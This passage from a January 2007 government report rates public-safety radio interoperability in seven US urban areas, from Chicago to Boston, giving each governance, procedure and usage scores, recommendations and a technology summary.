the leadership level to actively pursue regionwide communications interoperability. Recommendations: • Continue progress toward a unified governance structure (city and county) • Establish a charter for the unified working group and implement a regular meeting schedule to actively work issues to improve regional (tactical and strategic) interoperability • Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to support partnerships on regional interoperability and allocate resources to implement them • Establish a regular review process for agreements to ensure that they remain current and relevant • Develop and document a consensus regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance, and align local and state strategic planning efforts to ensure that regional interoperability needs are met • Develop and implement a regional approach to long-term interoperability planning and sustainable funding (beyond funding for individual jurisdictions and their systems) • Encourage regional funding alternatives and sources in addition to grants • Identify a champion(s) to establish a governance structure that more fully supports a regional strategic plan and involve senior government leadership broadly across the area in interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Chicago UA has taken advantage of the TICP effort to begin a formalization process for its communications interoperability policies, practices, and procedures for the first time. The area has taken steps to disseminate the SOPs 10% 10%15% 15% 10% 10%15% 15% 10%5% 5% 5% Urban/Metropolitan Area A-35 January 2007 Tactical Interoperable Communications Scorecards through a TICP workshop, but not in any broader manner that would ensure awareness and understanding of the procedures. This lack of awareness of SOPs was evident during the exercise (e.g., lack of familiarity with the radio cache procedures). The UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and is currently undergoing a significant training effort to take steps toward NIMS/ICS compliance and SOP adoption. The State has certified the City as moving toward its 2006 goals for NIMS compliance. The UA demonstrated success with ICS command and control during the TICP validation exercise with limited problems (e.g., incorrect use of ICS forms, Communication Unit Leader procedural oversights). Recommendations: • Develop regional interoperability SOPs consistent with the TICP, disseminate them throughout the UA, and train all participating agencies • Identify the title and source documentation for existing SOPs in the TICP • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% To address a fragmented regional communications infrastructure in which there are insufficient communication channels for joint operations within the City of Chicago, UA first responders use a number of methods to achieve communications interoperability. The UA successfully demonstrated the use of cached radios, which provided effective communications with the federal agencies (i.e., the Federal Bureau of Investigation). This interoperable solution (through the Mutual Aid Box Alarm System) has also been used in various real world circumstances to provide interoperability among command personnel across the City and surrounding municipalities. Chicago officials indicated that responders often used commercial devices to communicate, for which there were no established TICP procedures, which is problematic for establishing interoperable communications during a multi-agency incident response. During the TICP validation exercise, gateway use was problematic. Considering that the gateway was one of two means of interoperability between the County and the City, ineffective use of it could challenge multijurisdictional communications. As reflected in the TICP validation exercise, the lack of available channels to share between agencies during an incident could impact the effective management and resolution of communications. Additionally, specific TICP usage procedures were not observed (e.g., extra charged batteries for extended radio deployment, ensuring qualified technicians were available for on-scene support, and properly labeled radios with the owning agency and frequency band) likely due to the limited nature (e.g., incident command level only) of the exercise. Recommendations: • Test and exercise deployment of regional interoperability resources regularly to improve proficiency (e.g., mobile gateway systems) • Practice multijurisdictional and multidisciplinary communications during future exercises and day-to-day activities • Consider reviewing current interoperable communications equipment and infrastructure to determine whether existing systems and/or technology is sufficient to support regionwide interoperability Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Chicago uses both ultra high frequency and very high frequency (VHF) systems. Cook County uses a VHF and 800 megahertz system. There is no existing shared system for the city and county jurisdictions. Shared channels are available for interoperability but are not typically used. When city personnel operate in the suburbs, they use regional shared channels, while responders coming into the city are often provided with cached radios. Chicago and Cook County are working together to develop a plan for future radio interoperability communications for the entire Chicago area, which will benefit both jurisdictions. By the end of 2006 the Federal Government will have a two- channel shared radio system in place that will cover the five counties that represent the Greater Chicago Area. Urban/Metropolitan Area A-36 January 2007 Tactical Interoperable Communications Scorecards Indianapolis, IN Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Indianapolis Urban Area (UA) includes the City of Indianapolis in Marion County and agencies and jurisdictions within Hamilton County. Governance: Intermediate Implementation 10% 10%15% 15% The Indianapolis UA is working toward establishing communications interoperability as a priority in the UA. The UA established the Interoperability Subcommittee in April 2005 for the development of the Tactical Interoperable Communications Plan (TICP), as well as for overall communications coordination. While the TICP has been a positive step in establishing the governance group, the group does not appear to be formalized through a charter that describes its authority or the overall governance structure. However, the UA does report that an interoperability strategic plan is in place and has been accepted by participating agencies. Formal agreements (e.g., memoranda of understanding [MOU]) establishing roles and responsibilities of partner agencies in the UA for interoperability are not currently established. The jurisdictions have been successful in securing funding from federal grants as well as local sources, but there is no long-term funding strategy in place to pay for recurring costs for interoperable solutions. Additionally, individual organizations develop and maintain their own budgets and procure interoperable communications equipment based on agency-specific needs. Recommendations: • Establish a charter to encourage formal membership in the decision-making group (including all necessary first responder agencies) • Document and formalize the necessary agreements (e.g., MOU) including local, state, and federal agencies to support partnerships on regional interoperability, and reference all applicable agreements in the TICP and store them in an accessible format • Establish and clearly distinguish the strategic plan (beyond the operational focus of the TICP), and update it annually and after system upgrades and events that test capabilities • Encourage a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources that address both counties in the Indianapolis UA; this funding strategy should address capital and recurring costs • Establish a direct relationship between the Interoperability Subcommittee and political and fiscal leaders at the local and state level to advocate for achieving goals outlined in the strategic plan Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The development of the TICP used the two counties’ policies and procedures as a foundation, providing the UA’s first set of coordinated regional communications interoperability SOPs. The TICP will be expanded and more broadly distributed during the first quarter of 2007 to include additional regions within the state. Since its completion, the UA has taken steps (e.g., distributed through the TICP Implementation Workshop, make gateway SOPs available with gateways) to disseminate these newly developed, regional SOPs. During the TICP validation exercise, TICP policies and procedures for radio cache activation and deactivation were 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-37 January 2007 Tactical Interoperable Communications Scorecards followed. However, despite the overall success of the exercise, some activation procedures were not used (e.g., participants did not clear the shared channel before activating a console patch). The Indianapolis UA has been implementing the National Incident Management System (NIMS)/Incident Management System (ICS) for more than 1 year, and the Communications Unit Leader position was used effectively during the exercise. During the exercise, the Incident Commander was clearly identified, and a command post was set up. Recommendations: • Distribute SOPs to include all participating agencies and dispatchers • Update the TICP to reflect regionwide operational communications procedures • Ensure that regional SOPs are aligned with statewide planning efforts • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Multi-agency communications within the area (specifically Hamilton and Marion counties) occur on a daily basis. The existing systems (e.g., 800 megahertz [MHz]) use different proprietary technologies, and, as a result, gateways are used on a regular basis and are tested weekly. These methods, as well as shared channels and a radio cache, were used effectively during the TICP validation exercise. For example, interoperable communications were established between Metropolitan Emergency Communications Agency (MECA) and Hamilton County using a gateway. Although the Indianapolis UA showed success across local agencies involved in the exercise, additional state, federal, and public support agencies were not included to the maximum extent possible in this event; their involvement in future exercises would help demonstrate broader interoperability across disciplines and levels of government. Recommendations: • Consider expanding exercises to involve private, state, and federal agencies to ensure consistency of how to apply interoperable communications • Consider adding interoperability as a component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview All public safety and public service agencies in Marion County use an 800 MHz Motorola radio system provided by the MECA. Public safety and public service agencies in Hamilton County use an 800 MHz M/A-COM radio system provided by Hamilton County. All agencies in Hamilton and Marion counties are interoperable with each other and use the National Public Safety Planning Advisory Committee (NPSPAC) channels. In addition, console patches and/or gateways will also be used for interoperability. The UA will continue to use the NPSPAC channels, console patches, and gateways to achieve interoperability between the two counties. Urban/Metropolitan Area A-38 January 2007 Tactical Interoperable Communications Scorecards Louisville, KY Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The Louisville Urban Area (UA) includes the City of Louisville; the Kentucky counties of Bullitt, Hardin, Henry, Jefferson, Meade, Nelson, Oldham, Shelby, Spencer, and Trimble; and the Indiana counties of Clark, Floyd, Harrison, and Washington. Governance: Established Implementation 15% 20% 20% 20% The Louisville UA’s governance group is the Communications Committee (within the Urban Area Working Group), which has been active and successful primarily in the development of its regional gateway system. The success of this group has been evident in the grant and local funding that has been devoted to the MetroSafe effort. With the development of the Tactical Interoperable Communications Plan (TICP), the group formalized its preexisting agreements and SOPs by establishing charters. The work of the governance group, both in its tactical and strategic planning efforts, appears heavily focused on the core city/county, but did not incorporate all counties included in the UA. At the state level, the Kentucky Wireless Interoperability Executive Committee was established to coordinate and make recommendations regarding policy, training, exercises, compliance, establishment of special committees, and operational issues within the Commonwealth. Recommendations: • Clarify whether published and active partnerships exist for all counties (i.e., Washington County) • Work to develop a regional strategic plan that has political and financial support throughout the area • Coordinate with all necessary participants across the area and work jointly toward development of interoperable communications capabilities consistent with the regional strategic plan • Review and champion a governance structure that would more fully support a regional strategic plan encompassing the entire UA • Expand leadership participation to include representation across the area Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Agencies in the Louisville UA have had communications interoperability policies and procedures in place for a number of years. Prior to the TICP, these SOPs were captured in a compilation document. Since the development of regional SOPs through the TICP, the UA has taken a number of steps to disseminate this information to all agencies (e.g., gateways SOPs available with gateways, distributed through TICP Implementation Workshop). The UA has been implementing National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1 year, which indicates that the agencies have spent some time aligning their prior command and control procedures to be NIMS compliant. Agencies participating in the TICP validation exercise used the NIMS/ICS and the Communications Unit Leader (COML) with some issues (e.g., the COML was not formally identified) that should be addressed as additional training becomes available. These gaps in SOP implementation are likely due to the fact that the exercise (“Thunder Over Louisville”) represented the first time the entire NIMS/ICS was used across all first responder agencies. 15% 20% 20% 20% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-39 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Ensure all regional communications interoperability SOPs are incorporated into the TICP and distributed to participating agencies (outside of Jefferson County) • Regularly practice SOPs to increase proficiency in use of these policies (e.g., minimize use of patched channels to maximize channel resources by maintaining a clear command and control structure) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% The Louisville UA has been successful in the use of its gateway system to provide multi-agency and multijurisdictional communications in the Louisville/Jefferson County area. This solution has allowed the UA to provide shared communications across multiple existing systems and frequency bands. The documentation did not note to what extent this system is currently providing interoperability to the UA (including the four Indiana counties), and if it is not, how communications interoperability is achieved. This concern about regular usage with these counties was reinforced by the lack of representation from these counties in the TICP validation exercise (e.g., Jefferson County was the only county included). The exercise showed difficulty using shared channels and radios caches. In addition, there are concerns (similar to both the TICP Peer Review recommendations and the exercise evaluator comments) that the UA relied too heavily on the gateway system. Recommendations: • Test and exercise the activation procedures for radio caches • Because previous reviews noted concern in potential overloading of channels connected by fixed gateway system, ensure that only priority staff use the fixed gateway solution in situations where there is potential for overloading • Begin planning for training and exercise plans for forthcoming standards-based shared system • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Agencies within Jefferson County (Louisville UA) use a mixture of very high frequency (VHF) low band, VHF High Band, ultra high frequency (UHF) and 800 megahertz (MHz) conventional radio systems. Metrosafe, Louisville's designation for radio communications interoperability, uses an audio bridge (Motorola MotoBridge™) to patch together most urban police and fire agencies with suburban police and fire agencies. Louisville Metrosafe is continuing the development of a radio infrastructure with the capacity to provide seamless communications interoperability for multiple public safety and public service organizations within Jefferson County and its surrounding UA. The technology that has been chosen will be Project 25-compliant in a trunked, simulcast, narrowband configured, 700/800 MHz radio system. The goal is to cover Jefferson County and an area 3 miles beyond the county line with signal coverage capable of supporting handheld radios carried at the hip-level. This new radio infrastructure is meant to address challenges resulting from two different interoperability efforts between the City of Louisville and Jefferson County. In January 2003, the City of Louisville and Jefferson County began coordinating their interoperability efforts to address these challenges including antiquated technology and discipline specific communications centers with different/marginal funding streams. Urban/Metropolitan Area A-40 January 2007 Tactical Interoperable Communications Scorecards Baton Rouge, LA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Baton Rouge Urban Area (UA) includes the City of Baton Rouge and the following parishes: Ascension, East Baton Rouge, East Feliciana, Iberville, Livingston, Pointe Coupee, West Baton Rouge, and West Feliciana. Governance: Early Implementation 10%5% 5% 5% As noted by the UA, governance in Baton Rouge must “continue moving from traditional stovepipe operational mentalities towards a regional, collaborative mindset supporting the need for and implementation of interoperability.” An Interoperability Committee exists within the Urban Area Security Initiative structure, but the membership is primarily emergency management agencies. The UA indicates that it is trying to involve additional first responder disciplines and notes the need for more state and federal participation as a current challenge. Agreements among agencies are largely informal, and no strategic plan has been developed to coordinate planning efforts in the UA. Although leaders in the UA are supportive of the communications interoperability issue, it does not appear that a long- term (e.g., 3 to 5 years) fiscal strategy to improve regional interoperability (in addition to federal grants) has been developed. Recommendations: • Ensure representation from first responder agencies across the UA in the governance group and clarify roles, responsibilities, and relationships • Establish the Region II Interoperability Committee through a formal charter, include all local, public support, state, and federal agencies (e.g., public health, utilities), and document roles and responsibilities as part of the group • Develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with defined roles and responsibilities) among all participating agencies relating to regional interoperability • Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the Tactical Interoperable Communications Plan (TICP) and store them in an accessible format • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (in addition to grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Develop and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent with the strategic plan • Begin to broaden and champion a governance structure that will support regional communications interoperability and involve senior regional government leadership in long-term funding plans Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Baton Rouge TICP provided the first regional interoperability SOPs for the UA. Although strong representation from throughout the UA was included in the development of the TICP, the documentation did not indicate the extent to which these policies have been accepted in the UA. Based on the TICP validation exercise evaluation, more work is needed to promulgate and practice these procedures; SOPs have not been officially disseminated to all area organizations. Baton Rouge officials are addressing this need as indicated by a remote training program under development through the Emergency Operations Center network, which could support SOPs training. Full acceptance and ongoing training of SOPs will be critical in addressing gaps that were encountered during the validation exercise 10% 10%15% 15% 10% 10%15% 15% 10%5% 5% 5% Urban/Metropolitan Area A-41 January 2007 Tactical Interoperable Communications Scorecards (e.g., failure to broadcast Communications Unit Leader [COML] designation). Likewise, the exercise evaluation indicated that some issues were encountered with the use of the National Incident Management System (NIMS)/Incident Command System (ICS) (e.g., Unified Command and COML responsibilities not announced). The TICP notes that NIMS is not required (only recommended) of agencies in the UA, which is not in line with guidance provided for all grantees. Recommendations: • Develop regional communications interoperability SOPs (beyond the TICP) with acceptance by first responder agencies across jurisdictions and disciplines • Distribute and put SOPs into practice through regular training, exercises, and usage (e.g., communications interoperability among the eight parishes) • Consider scheduling a regular review and update process of developed policies and procedures • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Officials in Baton Rouge indicated that they were using their numerous shared radio systems (e.g., six 800 megahertz [MHz] systems, two ultra high frequency [UHF] systems, one very high frequency [VHF] system) and shared channels on a daily basis for multi-agency communications. Gateways are regularly used to connect these disparate systems in the UA, but there were observed difficulties in operating on the infrastructure in the TICP validation exercise (e.g., use of 10 codes). Upon failed attempts to leverage interoperability solutions detailed in the TICP, many exercise participants resorted to commercial cellular technology rather than continuing efforts to reconcile technical difficulties. Evaluators noted, “Cell phones were used at all levels of command for critical communications across jurisdictions throughout the exercise.” The apparent Baton Rouge public safety reliance on cellular technology would prove especially ineffective in response to an incident wherein commercial infrastructure were damaged or during a period of high commercial communications traffic (e.g., hurricane preparation and response). Recommendations: • Regularly test and exercise deployment of and procedures for regional communications interoperability resources (e.g., deactivation of gateways, use of talk groups) to improve proficiency • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview This UA use disparate VHF, UHF, and non-Project 25 (P25) 800 MHz systems. The UA is moving toward integrating its public safety system with the State of Louisiana’s new 800 MHz P25 radio system; the UA is assessing how to best integrate the radio systems once the state has implemented its new system. Currently, the UA is planning to purchase subscriber units for many local agencies, assess P25 backward compatibility features for some local communities to interoperate, and apply National Public Safety Planning Advisory Committee frequencies for mutual aid. Urban/Metropolitan Area A-42 January 2007 Tactical Interoperable Communications Scorecards New Orleans, LA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation Louisiana Urban Area (UA) Region 1 includes the City of New Orleans, Orleans Parish, and mutual aid partners Jefferson, St Bernard, and Plaquemines parishes. Governance: Advanced Implementation As a result of Hurricane Katrina, New Orleans has encountered an unheralded level of involvement from all levels of government in the oversight of the communications interoperability issue. Governance in the area is provided through the New Orleans Regional Communications Group, which provides recommendations to the Louisiana Region 1 Board of Directors. The group is inclusive of both state and federal representatives. Formal agreements are in place for use of the New Orleans Maritime Interoperable Committee [NOMIC] system, and additional agreements have been adopted by included agencies since Hurricane Katrina. Agreements have been reinforced by the adoption of a regional strategic plan, which is accepted by all included agencies. While fiscal priorities have been clearly articulated in the development of a regional shared system, a long-term funding strategy should be developed that looks beyond federal grants for the inevitable lifecycle costs of a new system. Recommendations: • Define governance structure in the Tactical Interoperable Communications Plan (TICP) to document the roles, responsibilities, and relationships of the governance groups (e.g., New Orleans Regional Communications Group) • Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements) in the TICP and store them in an accessible format • Develop a funding strategy for identifying sustainable funding sources (in addition to grants) to cover lifecycle and recurring costs to operate the area’s interoperability assets Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The New Orleans TICP is based on various existing policies and procedures (e.g., NOMIC gateways procedures), as well as lessons learned from reviews of SOPs after Hurricane Katrina. The UA has taken a number of steps to disseminate and begin training on the SOPs (e.g., distributed to all participating agencies and dispatch centers, distributed through TICP Workshop) among the participating organizations. Ongoing training and regular review of SOPs will be critical in addressing some gaps that were encountered during the validation exercise (e.g., gateway policies were not followed). The exercise evaluation indicated that some issues were encountered with the use of National Incident Management System (NIMS)/Incident Command System (ICS), including lack of access to Unified Command and a failure to update the pre-developed ICS 205 form. NIMS/ICS has been a focus of training more than the last year, and it is now mandated through city ordinance and executive order in all four parishes, which is commendable. 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-43 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Develop training policies and requirements for inclusion in the TICP • Continue to implement regional interoperability SOPs across all participating agencies • Continue basic and advanced training and exercises on SOPs (include TICP implementation of communications unit) and for NIMS/ICS to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% New Orleans has indicated that regular testing and exercise is a critical priority to ensure familiarity with the use of new technology that is currently being implemented. This was demonstrated by the TICP validation exercise, which was held immediately after the partial activation of the City of New Orleans’ newly acquired 700/800 megahertz (MHz) system. The exercise exposed some gaps, not only with use of the new system (the evaluators noted that some participants had only one hour training on this system), but also with use of the NOMIC fixed gateway system. As noted by the evaluators, the “NOMIC problem was caused by a lack of operational familiarity with gateway operation.” The UA eventually incorporated both state and federal agencies in the validation exercise through the use of the National Public Safety Planning Advisory Committee (NPSPAC) channels and the NOMIC system. But, as noted by evaluators, “[T]he region should consider establishing radio caches to support outside agencies.” Recommendations: • As the new 700/800 MHz shared system is implemented, continue to include local, state, and federal agencies (e.g., Louisiana State Police, National Guard, New Orleans Police Department) in multidiscipline multijurisdictional communications in future exercises and day-to-day use • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of New Orleans operates a MA-COM 800 MHz radio system with police, fire, emergency medical services, and city government. Since Hurricane Katrina, the agencies in the surrounding area typically operate on 800 MHz, Project 25 (P25) radios working on the Jefferson Parish Sheriff’s Office radio system and have, at times, operated on the state 700 MHz radio system. The NOMIC system has the only regional gateway, an ACU-1000. Interoperability is achieved by use of the gateway, shared proprietary radio systems, and NPSPAC channels for mutual aid responses. The UA is moving to a single, shared, dual-mode 700/800 MHz, fully P25-compliant, digital, trunked radio system that will eliminate the requirement for gateways or patches between multiple disparate radio systems within the area. The regional system will be connected to the state 700 MHz System. Events since Hurricane Katrina have indicated that gateways and patches cannot handle the volume of voice communications traffic at the tactical level during a major event. Gateways and patches may be able to handle limited command and control voice communications traffic at a more strategic level. Limited financial resources preclude the purchase of radios for radio caches within the area. The UA must rely on grant funding for the purchase of most of its communications equipment and must ensure day to day operability before investing in additional interoperability requirements. Urban/Metropolitan Area A-44 January 2007 Tactical Interoperable Communications Scorecards Baltimore, MD Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Baltimore Urban Area (UA) includes Baltimore City, Annapolis City, Baltimore County, Anne Arundel County, Carroll County, Harford County, and Howard County. Governance: Established Implementation 15% 20% 20% 20% The Central Maryland Area Radio Communications (CMARC) committee includes local, state, federal, and private agencies (e.g., Maryland Department of Transportation, Mayor’s Office, Maryland Institute for Emergency Medical Services Systems, Amtrak, and Aberdeen Proving Ground). Baltimore officials reported that published and active agreements (e.g., memoranda of understanding [MOU]) are in place to ensure communications interoperability, yet the Tactical Interoperable Communications Plan (TICP) does not include reference to such agreements. There is a mix of formal and informal partnerships among the UA’s public safety organizations. Officials report that the Baltimore UA is currently developing a strategic plan for regional interoperable communications, but the entity responsible for strategic planning is not specified in the documentation (i.e., Baltimore Urban Area Working Group, CMARC, and the Region 20 Committee all appear to have responsibility for long-term planning). Organizations within the UA procure equipment and develop budgets with some consideration for interoperability needs, but an overarching regional funding strategy (e.g., for communications equipment, operations and maintenance) is not documented. The UA’s senior leadership is actively involved in advocating for interoperable communications priorities and has demonstrated an understanding of its importance (e.g., Mayor’s Office involvement in CMARC). Recommendations: • Clarify the roles, responsibilities, and relationships of the governance groups (e.g., CMARC, Baltimore Urban Area Working Group, Region 20 Committee) identified in TICP • Reference all applicable agreements (e.g., MOUs) in the TICP, and store them in an accessible format • Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all participating agencies to support partnerships on regional interoperability • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy (in addition to grants) • Identify the organization that is responsible for regional strategic planning processes • Clarify whether long-term (e.g., 3 to 5 years) sustainable funding exists (to include interoperable communications asset procurement) that is consistent with strategic planning efforts Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Baltimore incorporated previously existing polices and procedures (e.g., 800 megahertz [MHz] shared system SOPs and mutual aid channels SOPs) into the TICP. The UA has taken steps to disseminate these SOPs to participating organizations (e.g., distributed directly to all included organizations and dispatch centers, distributed at the TICP Workshop). The UA should be commended for documenting a training 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-45 January 2007 Tactical Interoperable Communications Scorecards process in the TICP; however, the schedule is date specific and could benefit from defining a regular training interval. Although TICP validation exercise participants showed an understanding of SOPs, the Baltimore UA has been implementing National Incident Management System (NIMS)/Incident Command System (ICS) for only 6 months. The UA includes all first responders and additional public safety organizations in SOP training. During the exercise, the participants displayed a familiarity with ICS and unified command protocols and procedures (e.g., unified command established with law enforcement, fire, and hazardous materials agencies), but had specific difficulties with NIMS/ICS (e.g., Communications Unit Leader not actively involved in coordination of incident communications, ICS Form 205 not distributed). Although the TICP validation exercise and provided documentation show progress on SOP implementation, it should be noted that the TICP itself did not include specific references to or descriptions of regional SOPs that may be applied in incident response. Recommendations: • Expand the TICP to reference and document all regional interoperability SOPs • Consider scheduling a regular review and update process of policies and procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The UA frequently uses its means of available interoperable communications in day-to-day, task force, and mutual aid incidents (e.g., gateways, shared systems, shared channels, radio cache). Additionally, officials in the UA report proficiency in using interoperable equipment (e.g., common talk groups used for interoperable communications in the recent hazardous material spill on highway I-83). During the TICP validation exercise, participants successfully established interoperable communications within local and regional responders (e.g., Cecil, Baltimore, and Harford County law enforcement, fire, and emergency medical services). Due to the limited scope of the exercise; however, it appears that the level of state and federal participation (beyond Maryland State Highway Patrol) was insufficient to demonstrate communications interoperability across levels of government. Recommendations: • Consider including federal agencies (e.g., Aberdeen Proving Ground) in future exercises • Consider adding interoperable communications as an evaluation component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Baltimore UA has five 800 MHz mobile relay frequencies for use as shared channels for all interoperable communications. They also have caches available which are compatible with 800 MHz frequencies. Six 800 MHz trunked systems are used for interoperable communications among the local police departments, fire departments, and emergency medical services as well as federal and state law enforcement. Six direct channels will be available for interoperability in the near future. Urban/Metropolitan Area A-46 January 2007 Tactical Interoperable Communications Scorecards Boston, MA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Boston Urban Area (UA), also referred to as the Metro Boston Homeland Security Region (MBHSR), includes nine jurisdictions: the cities of Boston, Cambridge, Chelsea, Everett, Quincy, Revere, and Somerville; and the towns of Brookline and Winthrop. Governance: Established Implementation 15% 20% 20% 20% The Boston UA is overseen by nine Jurisdictional Points of Contact, who provide guidance to an established Communications Interoperability Subcommittee (CIS). Partnerships among member agencies are provided through a combination of formal and informal agreements (e.g., memoranda of understanding); most of the agreements are among local first responder agencies. The Tactical Interoperable Communications Plan (TICP) Peer Review noted that “the panel was impressed with the strength of long-term interoperability shown through this planning process” and a regional 5-year strategic plan was included as an appendix to Boston’s TICP. Year-to-year grant funds have provided for the majority of regional communications priorities, but the Boston UA has not developed long-term funding strategies (in addition to grants) for addressing lifecycle costs. Leaders in the UA (e.g., MBHSR and Massachusetts Executive Office of Public Safety are in full support of communications interoperability efforts) appear to recognize the importance of interoperability, and this executive involvement will be critical to ensuring the long-term success for interoperability in the UA. Recommendations: • Expand CIS membership to include public support disciplines, state, and federal agencies (e.g., hospitals, public health) • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding, and encourage regional funding alternatives and sources (in addition to grants) • Continue to broaden and champion a governance structure that would more fully support regional communications interoperability • Continue to involve senior government leadership on interoperability and encourage long-term regional funding plans • Align local and state strategic planning efforts to ensure that regional interoperability needs are met Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Boston UA incorporated existing SOPs into the development of its TICP, including procedures for the Boston Area Police Emergency Radio Network system and MetroFire. The TICP expands these policies to support multijurisdictional, multidiscipline communications interoperability throughout the area, and, as the TICP Peer Review noted, the Boston TICP “shows comprehensive cooperation and collaboration among the agencies in the region.” The UA is beginning the process of disseminating the procedures to jurisdictions and agencies through TICP training. This training will help address some gaps identified during the TICP validation exercise (e.g., use of agency identifiers), particularly for emergency medical services (EMS) 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-47 January 2007 Tactical Interoperable Communications Scorecards agencies as reported by the UA. Boston officials indicated that they were in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS) and training was ongoing. The TICP validation exercise demonstrated some gaps with NIMS/ICS (e.g., establishment of a unified command), which ongoing training planned by the area should address. Recommendations: • Document and distribute regional interoperability SOPs (beyond the TICP) and put them into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage • Identify the title and source documentation for existing SOPs in the TICP • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Boston UA uses its shared systems and gateways (including console patches) on a daily basis. Likewise, the use of a common channel plan was noted by the exercise evaluators as a best practice. The UA incorporated local first responder agencies in its TICP validation exercise and demonstrated successful use of each category of interoperable equipment during the TICP validation exercise (e.g., Everett and Cambridge site responders uses each others’ shared channels on a routine basis and demonstrated proficiency with their use). Officials within the UA indicated during their exercise “hotwash” that EMS had some difficulty communicating. As a key component of the first response agencies, EMS capabilities for interoperable communications are a priority to address. Recommendations: • Consider adding interoperability as a component for all future exercises and day-to-day activities, as appropriate • Consider including additional local, state, and federal agencies (e.g., public health) in future exercises and day-to-day use Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Interoperability in the area is achieved by exchanging of radios, sharing of channels, gateway solutions, and shared systems. Five radio caches are available that contain radios in the very high frequency (VHF), ultra high frequency (UHF), and 800 megahertz (MHz) bands. Additionally, a regional subscriber unit channel plan is in place—radios are programmed with a common set of shared channels and functions including one channel for each fire department and police department in the area. Shared channels are available for use in each of the three prevalent frequency bands (i.e., VHF, UHF, and 800 MHz). Six mobile gateway devices (either vehicle or trailer mounted) are available for use—two owned by Boston EMS and one each by Chelsea, the Massachusetts State Police, the Massachusetts Bay Transportation Authority, and the Massachusetts Department of Fire Services. There are no fixed gateways in the UA. The MBHSR has a 5-year strategic plan in place to ensure that the communications interoperable capabilities are continually being improved. One plan for the future in the UA is to migrate all shared systems to the UHF frequency band. 